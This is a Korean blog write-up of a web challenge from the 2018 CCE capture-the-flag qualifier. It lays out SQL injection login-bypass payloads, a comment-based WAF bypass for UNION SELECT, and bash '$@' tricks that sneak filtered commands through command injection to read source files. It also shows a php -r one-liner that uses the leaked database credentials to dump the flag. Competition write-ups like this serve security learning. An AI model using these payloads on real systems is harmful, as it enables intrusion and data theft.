| by munsiwoo | No comments

2018 CCE 예선 9번 웹 write up

CCE 예선에 나온 9번 웹 문제다.
여차여차해서 겨우 턱걸이로 본선 갔는데, 본선간 기념으로.. 이렇게 풀이 적어본다.


Step1. SQL Injection

문제 사이트(52.79.117.74/admin)로 접속하면 로그인 폼이 하나 나온다.
그냥 이것 저것 넣어서 반응 확인하다보면 sql injection 문제인걸 알 수 있다.

1. id=\&pw=1
2. id=\&pw=||1#

1번 페이로드를 보내면 에러가 뜨고, 2번 페이로드를 보내면 avery라는 계정으로 로그인된다.
||, #와 같은 키워드가 먹히는걸로 보아 mysql이라고 생각했으며
avery 계정으로 로그인하면 “Your level must me higher than 1” 라는 메시지를 보여준다.

나는 레벨이 1보다 높은, 2레벨 이상의 유저를 찾아보았으나 해당 테이블에는 레벨 2이상의 유저가 없는거 같았다.

Bypass SQL Injection WAF

레벨 2이상의 유저가 없다면 union을 사용하여 임의로 select해서 가져오면 된다.
다만 WAF에서 .*union.*select.*꼴의 패턴은 거의 다 필터링하고 있었고
이 필터를 우회하기 위해서 긴 시간의 삽질이 필요했다.

WAF 우회 꿀팁이라고 한다면 comment를 잘 이용하면 된다. (경험상)
물론 모든 상황에서 먹히는 방법은 아니지만 대부분 comment를 야무지게 주면 뚫린다.

id=\&pw=||0 union/*union/**/select 0x61646d696e,3,3#

이번에도 역시 comment를 이용하여 우회에 성공했다.
이런 방법이 먹히는 이유는 WAF와 SQL의 comment 파싱, 해석 방법이 다르다는 점을 이용한건데.
내용이 길어질 거 같으니.. 조만간 관련된 내용으로 찾아오겠다.


Step2. Command Injection

레벨이 2이상인 유저로 로그인해주면 다음 스테이지가 나오는데
딱 보면 command injection 느낌이 물씬 난다.

Filter bypass via Bash trick

이런저런 키워드 (cat, ls, cd, ../)를 필터링하고 있지만 전에 봤던 bash 트릭을 사용하여 우회가 가능했다.
트릭 내용은 간단한데, 필터링하는 키워드 중간에 $@를 넣어주면 bash에서 $@를 비어있는 변수로 인식하여
해당 키워드는 씹히고 내가 입력한 키워드가 정상적으로 실행되는 원리의 트릭이다. 아래는 예시

c=pwd
c=l$@s .
c=l$@s .$@./
c=c$@at dbconn_readme.php

이런 식으로 dbconn_readme.php라는 소스를 읽을 수 있었다.

<?php
  function connectDB($id){
    $host = "localhost";
    $user = $id;
    if($id == "topsecret") $pass = "supersecretpw123789"; // this database is supersuper secret!
    if($id == "member") $pass = "memberpw00102";
    $db = mysqli_connect($host, $user, $pass) 
      or die ('MySQL connect failed. ' . mysqli_error($db));
    mysqli_query($db,"set names utf8");
    mysqli_select_db($db,$id);
    return $db;
  }
?>

여기서 mysql의 topsecret라는 아이디와 패스워드를 얻을 수 있는데
여기안에 플래그가 있을 거 같아서 아래와 같이 php -r로 php을 직접 실행해 db에서 플래그를 가져왔다.

Step3. Get the flag

c=%0aph$@p -r 
"v$@ar_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','topsecret','supersecretpw123789','topsecret'),'sel'.'ect * from 5ecret')));"
array(1) {
  ["fl4gkkk"]=>
  string(26) "CCE{world_best_webh@cker!}"
}

 
Flag is CCE{world_best_webh@cker!}

Leave a Reply